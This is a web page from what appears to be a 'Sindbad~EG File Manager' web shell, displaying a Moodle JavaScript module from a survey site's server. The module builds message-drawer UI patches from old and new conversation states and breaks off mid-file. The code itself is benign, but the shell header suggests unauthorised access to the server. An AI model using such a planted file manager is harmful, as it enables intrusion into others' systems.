Sindbad~EG File Manager

Current Path : /var/www/html/encuestas.sumar.com.py/message/amd/src/
Upload File :
Current File : /var/www/html/encuestas.sumar.com.py/message/amd/src/message_drawer_view_conversation_patcher.js

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * This module will take 2 view states from the message_drawer_view_conversation
 * module and generate a patch that can be given to the
 * message_drawer_view_conversation_renderer module to update the UI.
 *
 * This module should never modify either state. It's purely a read only
 * module.
 *
 * @module     core_message/message_drawer_view_conversation_patcher
 * @copyright  2018 Ryan Wyllie <ryan@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(
[
    'jquery',
    'core/user_date',
    'core_message/message_drawer_view_conversation_constants'
],
function(
    $,
    UserDate,
    Constants
) {
    /**
     * Sort messages by day.
     *
     * @param  {Array} messages The list of messages to sort.
     * @param  {Number} midnight User's midnight timestamp.
     * @return {Array} messages sorted by day.
     */
    var sortMessagesByDay = function(messages, midnight) {
        var messagesByDay = messages.reduce(function(carry, message) {
            var timeCreated = message.timeCreated ? message.timeCreated : midnight;
            var dayTimestamp = UserDate.getUserMidnightForTimestamp(timeCreated, midnight);

            if (carry.hasOwnProperty(dayTimestamp)) {
                carry[dayTimestamp].push(message);
            } else {
                carry[dayTimestamp] = [message];
            }

            return carry;
        }, {});

        return Object.keys(messagesByDay).map(function(dayTimestamp) {
            return {
                timestamp: dayTimestamp,
                messages: messagesByDay[dayTimestamp]
            };
        });
    };

    /**
     * Diff 2 arrays using a match function
     *
     * @param  {Array} a The first array.
     * @param  {Array} b The second array.
     * @param  {Function} matchFunction Function used for matching array items.
     * @return {Object} Object containing array items missing from a, array items missing from b
     * and matches
     */
    var diffArrays = function(a, b, matchFunction) {
        // Make copy of it.
        b = b.slice();
        var missingFromA = [];
        var missingFromB = [];
        var matches = [];

        a.forEach(function(current) {
            var found = false;
            var index = 0;

            for (; index < b.length; index++) {
                var next = b[index];

                if (matchFunction(current, next)) {
                    found = true;
                    matches.push({
                        a: current,
                        b: next
                    });
                    break;
                }
            }

            if (found) {
                // This day has been processed so removed it from the list.
                b.splice(index, 1);
            } else {
                // If we couldn't find it in the next messages then it means
                // it needs to be added.
                missingFromB.push(current);
            }
        });

        missingFromA = b;

        return {
            missingFromA: missingFromA,
            missingFromB: missingFromB,
            matches: matches
        };
    };

    /**
     * Find an element in a array based on a matching function.
     *
     * @param  {array} array Array to search.
     * @param  {Function} breakFunction Function to run on array item.
     * @return {*} The array item.
     */
    var findPositionInArray = function(array, breakFunction) {
        var before = null;

        for (var i = 0; i < array.length; i++) {
            var candidate = array[i];

            if (breakFunction(candidate)) {
                return candidate;
            }
        }

        return before;
    };

    /**
     * Check if 2 arrays are equal.
     *
     * @param  {Array} a The first array.
     * @param  {Array} b The second array.
     * @return {Boolean} Are arrays equal.
     */
    var isArrayEqual = function(a, b) {
        // Make shallow copies so that we don't mess with the array sorting.
        a = a.slice();
        b = b.slice();
        a.sort();
        b.sort();
        var aLength = a.length;
        var bLength = b.length;

        if (aLength < 1 && bLength < 1) {
            return true;
        }

        if (aLength != bLength) {
            return false;
        }

        return a.every(function(item, index) {
            return item == b[index];
        });
    };

    /**
     * Do a shallow check to see if two objects appear to be equal. This should
     * only be used for pretty basic objects.
     *
     * @param {Object} a First object to compare.
     * @param {Object} b Second object to compare
     * @return {Bool}
     */
    var isObjectEqual = function(a, b) {
        var aKeys = Object.keys(a);
        var bKeys = Object.keys(b);

        if (aKeys.length != bKeys.length) {
            return false;
        }

        return aKeys.every(function(key) {
            var aVal = a[key];
            var bVal = b[key];
            var aType = typeof aVal;
            var bType = typeof bVal;
            aType = (aVal === null) ? 'null' : aType;
            bType = (aVal === null) ? 'null' : bType;
            aType = (aType === 'object' && Array.isArray(aType)) ? 'array' : aType;
            bType = (bType === 'object' && Array.isArray(bType)) ? 'array' : bType;

            if (aType !== bType) {
                return false;
            }

            switch (aType) {
                case 'object':
                    return isObjectEqual(aVal, bVal);
                case 'array':
                    return isArrayEqual(aVal, bVal);
                default:
                    return a[key] == b[key];
            }
        });
    };

    /**
     * Compare two messages to check if they are equal. This function only checks a subset
     * of the message properties which we know will change rather than all properties.
     *
     * @param {Object} a The first message
     * @param {Object} b The second message
     * @return {Bool}
     */
    var isMessageEqual = function(a, b) {
        return isObjectEqual(
            {
                id: a.id,
                state: a.sendState,
                text: a.text,
                timeCreated: a.timeCreated
            },
            {
                id: b.id,
                state: b.sendState,
                text: b.text,
                timeCreated: b.timeCreated
            }
        );
    };

    /**
     * Build a patch based on days.
     *
     * @param  {Object} current Current list current items.
     * @param  {Array} remove List of days to remove.
     * @param  {Array} add List of days to add.
     * @return {Object} Patch with elements to add and remove.
     */
    var buildDaysPatch = function(current, remove, add) {
        return {
            remove: remove,
            add: add.map(function(day) {
                // Any days left over in the "next" list weren't in the "current" list
                // so they will need to be added.
                var before = findPositionInArray(current, function(candidate) {
                    return day.timestamp < candidate.timestamp;
                });

                return {
                    before: before,
                    value: day
                };
            })
        };
    };

    /**
     * Build the messages patch for each day.
     *
     * @param {Array} matchingDays Array of old and new messages sorted by day.
     * @return {Object} patch.
     */
    var buildMessagesPatch = function(matchingDays) {
        var remove = [];
        var add = [];
        var update = [];

        // Iterate over the list of days and determine which messages in those days
        // have been changed.
        matchingDays.forEach(function(days) {
            var dayCurrent = days.a;
            var dayNext = days.b;
            // Find out which messages have changed in this day. This will return a list of messages
            // from the current state that couldn't be found in the next state and a list of messages in
            // the next state which couldn't be count in the current state.
            var messagesDiff = diffArrays(dayCurrent.messages, dayNext.messages, isMessageEqual);
            // Take the two arrays (list of messages changed from dayNext and list of messages changed
            // from dayCurrent) any work out which messages have been added/removed from the list and
            // which messages were just updated.
            var patch = diffArrays(
                // The messages from dayCurrent.message that weren't in dayNext.messages.
                messagesDiff.missingFromB,
                // The messages from dayNext.message that weren't in dayCurrent.messages.
                messagesDiff.missingFromA,
                function(a, b) {
                    // This function is going to determine if the messages were
                    // added/removed from either list or if they were simply an updated.
                    //
                    // If the IDs match or it was a state change (i.e. message with a temp
                    // ID goes from pending to sent and receives an actual id) then they are
                    // the same message which should be an update not an add/remove.
                    return a.id == b.id || (a.sendState != b.sendState && a.timeAdded == b.timeAdded);
                }
            );

            // Any messages from the current state for this day which aren't in the next state
            // for this day (i.e. the user deleted the message) means we need to remove them from
            // the UI.
            remove = remove.concat(patch.missingFromB);

            // Any messages not in the current state for this day which are in the next state
            // for this day (i.e. it's a new message) means we need to add it to the UI so work
            // out where in the list of messages it should appear (it could be a new message the
            // user has sent or older messages loaded as part of the conversation scroll back).
            patch.missingFromA.forEach(function(message) {
                // By default a null value for before will render the message at the bottom of
                // the message UI (i.e. it's the newest message).
                var before = null;

                if (message.timeCreated) {
                    // If this message has a time created then find where it sits in the list of
                    // message to insert it into the correct position.
                    before = findPositionInArray(dayCurrent.messages, function(candidate) {
                        if (message.timeCreated == candidate.timeCreated) {
                            return message.id < candidate.id;
                        } else {
                            return message.timeCreated < candidate.timeCreated;
                        }
                    });
                }

                add.push({
                    before: before,
                    value: message,
                    day: dayCurrent
                });
            });

            // Any message that appears in both the current state for this day and the next state
            // for this day means something in the message was updated.
            update = update.concat(patch.matches.map(function(message) {
                return {
                    before: message.a,
                    after: message.b
                };
            }));
        });

        return {
            add: add,
            remove: remove,
            update: update
        };
    };

    /**
     * Build a patch for this conversation.
     *
     * @param  {Object} state The current state of this conversation.
     * @param  {Object} newState The new state of this conversation.
     * @returns {Object} Patch with days and messsages for each day.
     */
    var buildConversationPatch = function(state, newState) {
        var diff = diffArrays(state.messages, newState.messages, isMessageEqual);

        if (diff.missingFromA.length || diff.missingFromB.length) {
            // Some messages have changed so let's work out which ones by sorting
            // them into their respective days.
            var current = sortMessagesByDay(state.messages, state.midnight);
            var next = sortMessagesByDay(newState.messages, newState.midnight);
            // This diffs the arrays to work out if there are any missing days that need
            // to be added (i.e. we've got some new messages on a new day) or if there
            // are any days that need to be deleted (i.e. the user has deleted some old messages).
            var daysDiff = diffArrays(current, next, function(dayCurrent, dayNext) {
                return dayCurrent.timestamp == dayNext.timestamp;
            });

            return {
                // Handle adding or removing whole days.
                days: buildDaysPatch(current, daysDiff.missingFromB, daysDiff.missingFromA),
                // Handle updating messages that don't require adding/removing a whole day.
                messages: buildMessagesPatch(daysDiff.matches)
            };
        } else {
            return null;
        }
    };

    /**
     * Build a patch for the header of this conversation. Check if this conversation
     * is a group conversation.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object} patch
     */
    var buildHeaderPatchTypePrivate = function(state, newState) {
        var requireAddContact = buildRequireAddContact(state, newState);
        var confirmContactRequest = buildConfirmContactRequest(state, newState);
        var oldOtherUser = getOtherUserFromState(state);
        var newOtherUser = getOtherUserFromState(newState);
        var requiresAddContact = requireAddContact && requireAddContact.show && !requireAddContact.hasMessages;
        var requiredAddContact = requireAddContact && !requireAddContact.show;
        // Render the header once we've got a user.
        var shouldRenderHeader = !oldOtherUser && newOtherUser;
        // We should also re-render the header if the other user requires
        // being added as a contact or if they did but no longer do.
        shouldRenderHeader = shouldRenderHeader || requiresAddContact || requiredAddContact;
        // Finally, we should re-render if the other user has sent this user
        // a contact request that is waiting for approval or if it's been approved/declined.
        shouldRenderHeader = shouldRenderHeader || confirmContactRequest !== null;

        if (shouldRenderHeader) {
            return {
                type: Constants.CONVERSATION_TYPES.PRIVATE,
                // We can show controls if the other user doesn't require add contact
                // and we aren't waiting for this user to respond to a contact request.
                showControls: !requiresAddContact && !confirmContactRequest,
                context: {
                    id: newState.id,
                    name: newState.name,
                    subname: newState.subname,
                    totalmembercount: newState.totalMemberCount,
                    imageurl: newState.imageUrl,
                    isfavourite: newState.isFavourite,
                    ismuted: newState.isMuted,
                    // Don't show favouriting if we don't have a conversation.
                    showfavourite: newState.id !== null,
                    userid: newOtherUser.id,
                    showonlinestatus: newOtherUser.showonlinestatus,
                    isonline: newOtherUser.isonline,
                    isblocked: newOtherUser.isblocked,
                    iscontact: newOtherUser.iscontact
                }
            };
        }

        return null;
    };

    /**
     * Build a patch for the header of this conversation. Check if this conversation
     * is a group conversation.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object} patch
     */
    var buildHeaderPatchTypeSelf = function(state, newState) {
        var shouldRenderHeader = (state.name === null && newState.name !== null);

        if (shouldRenderHeader) {
            return {
                type: Constants.CONVERSATION_TYPES.SELF,
                // Don't display the controls for the self-conversations.
                showControls: false,
                context: {
                    id: newState.id,
                    name: newState.name,
                    subname: newState.subname,
                    imageurl: newState.imageUrl,
                    isfavourite: newState.isFavourite,
                    // Don't show favouriting if we don't have a conversation.
                    showfavourite: newState.id !== null,
                    showonlinestatus: true,
                }
            };
        }

        return null;
    };

    /**
     * Build a patch for the header of this conversation. Check if this conversation
     * is a group conversation.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object} patch
     */
    var buildHeaderPatchTypePublic = function(state, newState) {
        var oldMemberCount = state.totalMemberCount;
        var newMemberCount = newState.totalMemberCount;

        if (oldMemberCount != newMemberCount) {
            return {
                type: Constants.CONVERSATION_TYPES.PUBLIC,
                showControls: true,
                context: {
                    id: newState.id,
                    name: newState.name,
                    subname: newState.subname,
                    totalmembercount: newState.totalMemberCount,
                    imageurl: newState.imageUrl,
                    isfavourite: newState.isFavourite,
                    ismuted: newState.isMuted,
                    // Don't show favouriting if we don't have a conversation.
                    showfavourite: newState.id !== null
                }
            };
        } else {
            return null;
        }
    };

    /**
     * Find the newest or oldest message.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Number} Oldest or newest message id.
     */
    var buildScrollToMessagePatch = function(state, newState) {
        var oldMessages = state.messages;
        var newMessages = newState.messages;

        if (newMessages.length < 1) {
            return null;
        }

        if (oldMessages.length < 1) {
            return newMessages[newMessages.length - 1].id;
        }

        var previousNewest = oldMessages[state.messages.length - 1];
        var currentNewest = newMessages[newMessages.length - 1];
        var previousOldest = oldMessages[0];
        var currentOldest = newMessages[0];

        if (previousNewest.id != currentNewest.id) {
            return currentNewest.id;
        } else if (previousOldest.id != currentOldest.id) {
            return previousOldest.id;
        }

        return null;
    };

    /**
     * Check if members should be loaded.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildLoadingMembersPatch = function(state, newState) {
        if (!state.loadingMembers && newState.loadingMembers) {
            return true;
        } else if (state.loadingMembers && !newState.loadingMembers) {
            return false;
        } else {
            return null;
        }
    };

    /**
     * Check if the messages are being loaded for the first time.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildLoadingFirstMessages = function(state, newState) {
        if (state.hasTriedToLoadMessages === newState.hasTriedToLoadMessages) {
            return null;
        } else if (!newState.hasTriedToLoadMessages && newState.loadingMessages) {
            return true;
        } else if (newState.hasTriedToLoadMessages && !newState.loadingMessages) {
            return false;
        } else {
            return null;
        }
    };

    /**
     * Check if the messages are still being loaded
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildLoadingMessages = function(state, newState) {
        if (!state.loadingMessages && newState.loadingMessages) {
            return true;
        } else if (state.loadingMessages && !newState.loadingMessages) {
            return false;
        } else {
            return null;
        }
    };

    /**
     * Determine if we should show the emoji picker.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildShowEmojiPicker = function(state, newState) {
        if (!state.showEmojiPicker && newState.showEmojiPicker) {
            return true;
        } else if (state.showEmojiPicker && !newState.showEmojiPicker) {
            return false;
        } else {
            return null;
        }
    };

    /**
     * Determine if we should show the emoji auto complete.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildShowEmojiAutoComplete = function(state, newState) {
        if (!state.showEmojiAutoComplete && newState.showEmojiAutoComplete) {
            return true;
        } else if (state.showEmojiAutoComplete && !newState.showEmojiAutoComplete) {
            return false;
        } else {
            return null;
        }
    };

    /**
     * Get the user Object of user to be blocked if pending.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object|Bool|Null} User Object if Object.
     */
    var buildConfirmBlockUser = function(state, newState) {
        if (newState.pendingBlockUserIds.length) {
            // We currently only support a single user;
            var userId = newState.pendingBlockUserIds[0];
            return newState.members[userId];
        } else if (state.pendingBlockUserIds.length) {
            return false;
        }

        return null;
    };

    /**
     * Get the user Object of user to be unblocked if pending.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object|Bool|Null} User Object if Object.
     */
    var buildConfirmUnblockUser = function(state, newState) {
        if (newState.pendingUnblockUserIds.length) {
            // We currently only support a single user;
            var userId = newState.pendingUnblockUserIds[0];
            return newState.members[userId];
        } else if (state.pendingUnblockUserIds.length) {
            return false;
        }

        return null;
    };

    /**
     * Get the user Object of user to be added as contact if pending.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object|Bool|Null} User Object if Object.
     */
    var buildConfirmAddContact = function(state, newState) {
        if (newState.pendingAddContactIds.length) {
            // We currently only support a single user;
            var userId = newState.pendingAddContactIds[0];
            return newState.members[userId];
        } else if (state.pendingAddContactIds.length) {
            return false;
        }

        return null;
    };

    /**
     * Get the user Object of user to be removed as contact if pending.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object|Bool|Null} User Object if Object.
     */
    var buildConfirmRemoveContact = function(state, newState) {
        if (newState.pendingRemoveContactIds.length) {
            // We currently only support a single user;
            var userId = newState.pendingRemoveContactIds[0];
            return newState.members[userId];
        } else if (state.pendingRemoveContactIds.length) {
            return false;
        }

        return null;
    };

    /**
     * Check if there are any messages to be deleted.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object|Null} The conversation type and if the user can delete  the messages for all users.
     */
    var buildConfirmDeleteSelectedMessages = function(state, newState) {
        var oldPendingCount = state.pendingDeleteMessageIds.length;
        var newPendingCount = newState.pendingDeleteMessageIds.length;

        if (newPendingCount && !oldPendingCount) {
            return {
                show: true,
                type: newState.type,
                canDeleteMessagesForAllUsers: newState.canDeleteMessagesForAllUsers
            };
        } else if (oldPendingCount && !newPendingCount) {
            return {
                show: false
            };
        }

        return null;
    };

    /**
     * Check if there is a conversation to be deleted.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {int|Null} The conversation type to be deleted.
     */
    var buildConfirmDeleteConversation = function(state, newState) {
        if (!state.pendingDeleteConversation && newState.pendingDeleteConversation) {
            return newState.type;
        } else if (state.pendingDeleteConversation && !newState.pendingDeleteConversation) {
            return false;
        }

        return null;
    };

    /**
     * Check if there is a pending contact request to accept or decline.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildConfirmContactRequest = function(state, newState) {
        var loggedInUserId = state.loggedInUserId;
        var oldOtherUser = getOtherUserFromState(state);
        var newOtherUser = getOtherUserFromState(newState);
        var oldReceivedRequests = !oldOtherUser ? [] : oldOtherUser.contactrequests.filter(function(request) {
            return request.requesteduserid == loggedInUserId && request.userid == oldOtherUser.id;
        });
        var newReceivedRequests = !newOtherUser ? [] : newOtherUser.contactrequests.filter(function(request) {
            return request.requesteduserid == loggedInUserId && request.userid == newOtherUser.id;
        });
        var oldRequest = oldReceivedRequests.length ? oldReceivedRequests[0] : null;
        var newRequest = newReceivedRequests.length ? newReceivedRequests[0] : null;

        if (!oldRequest && newRequest) {
            return newOtherUser;
        } else if (oldRequest && !newRequest) {
            return false;
        } else {
            return null;
        }
    };

    /**
     * Check if there are any changes in blocked users.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildIsBlocked = function(state, newState) {
        var oldOtherUser = getOtherUserFromState(state);
        var newOtherUser = getOtherUserFromState(newState);

        if (!oldOtherUser && !newOtherUser) {
            return null;
        } else if (!oldOtherUser && newOtherUser) {
            return newOtherUser.isblocked ? true : null;
        } else if (!newOtherUser && oldOtherUser) {
            return oldOtherUser.isblocked ? false : null;
        } else if (oldOtherUser.isblocked && !newOtherUser.isblocked) {
            return false;
        } else if (!oldOtherUser.isblocked && newOtherUser.isblocked) {
            return true;
        } else {
            return null;
        }
    };

    /**
     * Check if there are any changes the conversation favourite state.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildIsFavourite = function(state, newState) {
        var oldIsFavourite = state.isFavourite;
        var newIsFavourite = newState.isFavourite;

        if (state.id === null && newState.id === null) {
            // The conversation isn't yet created so don't change anything.
            return null;
        } else if (state.id === null && newState.id !== null) {
            // The conversation was created so we can show the add favourite button.
            return 'show-add';
        } else if (state.id !== null && newState.id === null) {
            // We're changing from a created conversation to a new conversation so hide
            // the favouriting functionality for now.
            return 'hide';
        } else if (oldIsFavourite == newIsFavourite) {
            // No change.
            return null;
        } else if (!oldIsFavourite && newIsFavourite) {
            return 'show-remove';
        } else if (oldIsFavourite && !newIsFavourite) {
            return 'show-add';
        } else {
            return null;
        }
    };

    /**
     * Check if there are any changes the conversation muted state.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {string|null}
     */
    var buildIsMuted = function(state, newState) {
        var oldIsMuted = state.isMuted;
        var newIsMuted = newState.isMuted;

        if (state.id === null && newState.id === null) {
            // The conversation isn't yet created so don't change anything.
            return null;
        } else if (state.id === null && newState.id !== null) {
            // The conversation was created so we can show the mute button.
            return 'show-mute';
        } else if (state.id !== null && newState.id === null) {
            // We're changing from a created conversation to a new conversation so hide
            // the muting functionality for now.
            return 'hide';
        } else if (oldIsMuted == newIsMuted) {
            // No change.
            return null;
        } else if (!oldIsMuted && newIsMuted) {
            return 'show-unmute';
        } else if (oldIsMuted && !newIsMuted) {
            return 'show-mute';
        } else {
            return null;
        }
    };

    /**
     * Check if there are any changes in the contact status of the current user
     * and other user.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildIsContact = function(state, newState) {
        var loggedInUserId = state.loggedInUserId;
        var oldOtherUser = getOtherUserFromState(state);
        var newOtherUser = getOtherUserFromState(newState);
        var oldContactRequests = !oldOtherUser ? [] : oldOtherUser.contactrequests.filter(function(request) {
            return (request.userid == loggedInUserId && request.requesteduserid == oldOtherUser.id) ||
                (request.userid == oldOtherUser.id && request.requesteduserid == loggedInUserId);
        });
        var newContactRequests = !newOtherUser ? [] : newOtherUser.contactrequests.filter(function(request) {
            return (request.userid == loggedInUserId && request.requesteduserid == newOtherUser.id) ||
                (request.userid == newOtherUser.id && request.requesteduserid == loggedInUserId);
        });
        var oldHasContactRequests = oldContactRequests.length > 0;
        var newHasContactRequests = newContactRequests.length > 0;

        if (!oldOtherUser && !newOtherUser) {
            return null;
        } else if (oldHasContactRequests && newHasContactRequests) {
            return null;
        } else if (!oldHasContactRequests && newHasContactRequests && !newOtherUser.iscontact) {
            return 'pending-contact';
        } else if (!oldOtherUser && newOtherUser) {
            return newOtherUser.iscontact ? 'contact' : null;
        } else if (!newOtherUser && oldOtherUser) {
            return oldOtherUser.iscontact ? 'non-contact' : null;
        } else if (oldOtherUser.iscontact && !newOtherUser.iscontact) {
            return newHasContactRequests ? 'pending-contact' : 'non-contact';
        } else if (!oldOtherUser.iscontact && newOtherUser.iscontact) {
            return 'contact';
        } else {
            return null;
        }
    };

    /**
     * Check if a confirm action is active.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildLoadingConfirmationAction = function(state, newState) {
        if (!state.loadingConfirmAction && newState.loadingConfirmAction) {
            return true;
        } else if (state.loadingConfirmAction && !newState.loadingConfirmAction) {
            return false;
        } else {
            return null;
        }
    };

    /**
     * Check if a edit mode is active.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildInEditMode = function(state, newState) {
        var oldHasSelectedMessages = state.selectedMessageIds.length > 0;
        var newHasSelectedMessages = newState.selectedMessageIds.length > 0;
        var numberOfMessagesHasChanged = state.messages.length != newState.messages.length;

        if (!oldHasSelectedMessages && newHasSelectedMessages) {
            return true;
        } else if (oldHasSelectedMessages && !newHasSelectedMessages) {
            return false;
        } else if (oldHasSelectedMessages && numberOfMessagesHasChanged) {
            return true;
        } else {
            return null;
        }
    };

    /**
     * Build a patch for the messages selected.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object} patch
     */
    var buildSelectedMessages = function(state, newState) {
        var oldSelectedMessages = state.selectedMessageIds;
        var newSelectedMessages = newState.selectedMessageIds;

        if (isArrayEqual(oldSelectedMessages, newSelectedMessages)) {
            return null;
        }

        var diff = diffArrays(oldSelectedMessages, newSelectedMessages, function(a, b) {
            return a == b;
        });

        return {
            count: newSelectedMessages.length,
            add: diff.missingFromA,
            remove: diff.missingFromB
        };
    };

    /**
     * Get a list of users from the state that are not the logged in user. Use to find group
     * message members or the other user in a conversation.
     *
     * @param  {Object} state State
     * @return {Array} List of users.
     */
    var getOtherUserFromState = function(state) {
        return Object.keys(state.members).reduce(function(carry, userId) {
            if (userId != state.loggedInUserId && !carry) {
                carry = state.members[userId];
            }

            return carry;
        }, null);
    };

    /**
     * Check if the given user requires a contact request from the logged in user.
     *
     * @param  {Integer} loggedInUserId The logged in user id
     * @param  {Object} user User record
     * @return {Bool}
     */
    var requiresContactRequest = function(loggedInUserId, user) {
        // If a user can message then no contact request is required.
        if (user.canmessage) {
            return false;
        }

        var contactRequests = user.contactrequests.filter(function(request) {
            return request.userid == loggedInUserId || request.requesteduserid;
        });
        var hasSentContactRequest = contactRequests.length > 0;
        return user.requirescontact && !user.iscontact && !hasSentContactRequest;
    };

    /**
     * Check if other users are required to be added as contact.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object} Object controlling the required to add contact dialog variables.
     */
    var buildRequireAddContact = function(state, newState) {
        var oldOtherUser = getOtherUserFromState(state);
        var newOtherUser = getOtherUserFromState(newState);
        var hadMessages = state.messages.length > 0;
        var hasMessages = newState.messages.length > 0;
        var loggedInUserId = newState.loggedInUserId;
        var prevRequiresContactRequest = oldOtherUser && requiresContactRequest(loggedInUserId, oldOtherUser);
        var nextRequiresContactRequest = newOtherUser && requiresContactRequest(loggedInUserId, newOtherUser);
        var confirmAddContact = buildConfirmAddContact(state, newState);
        var finishedAddContact = confirmAddContact === false;

        // Still doing first load.
        if (!state.hasTriedToLoadMessages && !newState.hasTriedToLoadMessages) {
            return null;
        }

        // No users yet.
        if (!oldOtherUser && !newOtherUser) {
            return null;
        }

        // We've loaded a new user and they require a contact request.
        if (!oldOtherUser && nextRequiresContactRequest) {
            return {
                show: true,
                hasMessages: hasMessages,
                user: newOtherUser
            };
        }

        // The logged in user has completed the confirm contact request dialogue
        // but the other user still requires a contact request which means the logged
        // in user either declined the confirmation or it failed.
        if (finishedAddContact && nextRequiresContactRequest) {
            return {
                show: true,
                hasMessages: hasMessages,
                user: newOtherUser
            };
        }

        // Everything is loaded.
        if (state.hasTriedToLoadMessages && newState.hasTriedToLoadMessages) {
            if (!prevRequiresContactRequest && nextRequiresContactRequest) {
                return {
                    show: true,
                    hasMessages: hasMessages,
                    user: newOtherUser
                };
            }

            if (prevRequiresContactRequest && !nextRequiresContactRequest) {
                return {
                    show: false,
                    hasMessages: hasMessages
                };
            }
        }

        // First load just completed.
        if (!state.hasTriedToLoadMessages && newState.hasTriedToLoadMessages) {
            if (nextRequiresContactRequest) {
                return {
                    show: true,
                    hasMessages: hasMessages,
                    user: newOtherUser
                };
            }
        }

        // Being reset.
        if (state.hasTriedToLoadMessages && !newState.hasTriedToLoadMessages) {
            if (prevRequiresContactRequest) {
                return {
                    show: false,
                    hasMessages: hadMessages
                };
            }
        }

        return null;
    };

    /**
     * Check if other users are required to be unblocked.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildRequireUnblock = function(state, newState) {
        var oldOtherUser = getOtherUserFromState(state);
        var newOtherUser = getOtherUserFromState(newState);

        if (!oldOtherUser && !newOtherUser) {
            return null;
        } else if (oldOtherUser && !newOtherUser) {
            return oldOtherUser.isblocked ? false : null;
        } else if (!oldOtherUser && newOtherUser) {
            return newOtherUser.isblocked ? true : null;
        } else if (!oldOtherUser.isblocked && newOtherUser.isblocked) {
            return true;
        } else if (oldOtherUser.isblocked && !newOtherUser.isblocked) {
            return false;
        }

        return null;
    };

    /**
     * Check if other users can be messaged.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Bool|Null}
     */
    var buildUnableToMessage = function(state, newState) {
        var oldOtherUser = getOtherUserFromState(state);
        var newOtherUser = getOtherUserFromState(newState);

        if (newState.type == Constants.CONVERSATION_TYPES.SELF) {
            // Users always can send message themselves on self-conversations.
            return null;
        }

        if (!oldOtherUser && !newOtherUser) {
            return null;
        } else if (oldOtherUser && !newOtherUser) {
            return oldOtherUser.canmessage ? null : true;
        } else if (!oldOtherUser && newOtherUser) {
            return newOtherUser.canmessage ? null : true;
        } else if (!oldOtherUser.canmessage && newOtherUser.canmessage) {
            return false;
        } else if (oldOtherUser.canmessage && !newOtherUser.canmessage) {
            return true;
        }

        return null;
    };

    /**
     * Build patch for footer information for a private conversation.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object} containing footer state type.
     */
    var buildFooterPatchTypePrivate = function(state, newState) {
        var loadingFirstMessages = buildLoadingFirstMessages(state, newState);
        var inEditMode = buildInEditMode(state, newState);
        var requireAddContact = buildRequireAddContact(state, newState);
        var requireUnblock = buildRequireUnblock(state, newState);
        var unableToMessage = buildUnableToMessage(state, newState);
        var showRequireAddContact = requireAddContact !== null ? requireAddContact.show && requireAddContact.hasMessages : null;
        var otherUser = getOtherUserFromState(newState);
        var generateReturnValue = function(checkValue, successReturn) {
            if (checkValue) {
                return successReturn;
            } else if (checkValue !== null && !checkValue) {
                if (!otherUser) {
                    return {type: 'content'};
                } else if (otherUser.isblocked) {
                    return {type: 'unblock'};
                } else if (newState.messages.length && requiresContactRequest(newState.loggedInUserId, otherUser)) {
                    return {
                        type: 'add-contact',
                        user: otherUser
                    };
                } else if (!otherUser.canmessage && (otherUser.requirescontact && !otherUser.iscontact)) {
                    return {type: 'unable-to-message'};
                }
            }

            return null;
        };

        if (
            loadingFirstMessages === null &&
            inEditMode === null &&
            requireAddContact === null &&
            requireUnblock === null
        ) {
            return null;
        }

        var checks = [
            [loadingFirstMessages, {type: 'placeholder'}],
            [inEditMode, {type: 'edit-mode'}],
            [unableToMessage, {type: 'unable-to-message'}],
            [requireUnblock, {type: 'unblock'}],
            [showRequireAddContact, {type: 'add-contact', user: otherUser}]
        ];

        for (var i = 0; i < checks.length; i++) {
            var checkValue = checks[i][0];
            var successReturn = checks[i][1];
            var result = generateReturnValue(checkValue, successReturn);

            if (result !== null) {
                return result;
            }
        }

        return {
            type: 'content'
        };
    };

    /**
     * Build patch for footer information for a public conversation.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object} containing footer state type.
